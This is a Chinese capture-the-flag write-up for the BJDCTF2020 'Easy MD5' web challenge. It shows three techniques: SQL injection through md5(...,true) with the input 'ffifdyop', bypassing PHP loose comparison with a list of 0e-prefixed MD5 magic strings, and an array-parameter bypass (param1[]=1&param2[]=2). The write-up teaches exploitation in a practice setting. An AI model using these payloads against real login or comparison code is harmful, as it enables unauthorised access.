[BJDCTF2020]Easy MD5

web第22题
[BJDCTF2020]Easy MD5

打开靶场:
在这里插入图片描述
查看源码:
在这里插入图片描述
就是一个单纯的form表单,get方式传参提交,所以无论提交任何数据页面都没有任何回显
使用burp抓包发送到repeater模块观察返回头
在这里插入图片描述
果然有发现,隐藏了一条sql查询

select * from 'admin' where password=md5($pass,true)

对于md5($pass,true),这位师傅解释的比较详细
[BJDCTF2020]Easy MD5
在这里插入图片描述
将第二个参数设置为true时,会将string转换为16字符的二进制格式,false时(默认情况)会输出32字符的md5加密后的十六进制数
如果使用false,那么加密后的字符无法构造出’进行sql注入,所以一般使用ture转换为16字符的二进制格式,常用的数据就是ffifdyop
测试
在这里插入图片描述
在这里插入图片描述
这个数据经过md5(“ffifdyop”,true)和默认情况后的输出为'or'6É]™é!r,ùíb
可以看到关键就前面几个字符:'or'6
拼接上sql语句就是:select * from 'admin' where password=''or'6É]™é!r,ùíb'
首先第一个单引号和查询语句进行了闭合,然后使用了or判断,后面为'6É]™é!r,ùíb'

关键:在mysql中,在用作布尔型判断时,1或者其他数字,比如这里的6开头的字符串会被当做整形常数,也就是说这里的sql语句变为了select * from 'admin' where password=''or 6,返回值就为true
也就造成了永真的sql注入
输入ffifdyop,跳转到了另一个页面
在这里插入图片描述
源代码中有发现
在这里插入图片描述
一个简单的md5比较
MD5、SHA1弱比较,MD5($PASS,TRUE)总结
绕过原理,一些字符md5加密后的开头字符为0e,对于科学计数法来说就是0的多少次方,那么只要找到2个字符串加密后都是0e开头的就可以绕过

常见的0e开头的md5和原值:
QNKCDZO
0e830400451993494058024219903391
240610708
0e462097431906509019562988736854
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s532378020a
0e220463095855511507588041205815
s1665632922a
0e731198061491163073197128363787
s1184209335a
0e072485820392773389523109082030
s1885207154a
0e509367213418206700842008763514
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020

随便使用2个进行绕过
在这里插入图片描述
跳转到另外一个页面
在这里插入图片描述
这里使用post方法传参然后判断参数1和参数2的md5是否相等
对于post方法的判断,md5函数无法处理数组,可以将param1和param2都变为数组,返回值都为false,那么两者肯定相等,就可以绕过
post传参:param1[]=1&param2[]=2 得到flag
在这里插入图片描述

  • 3
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值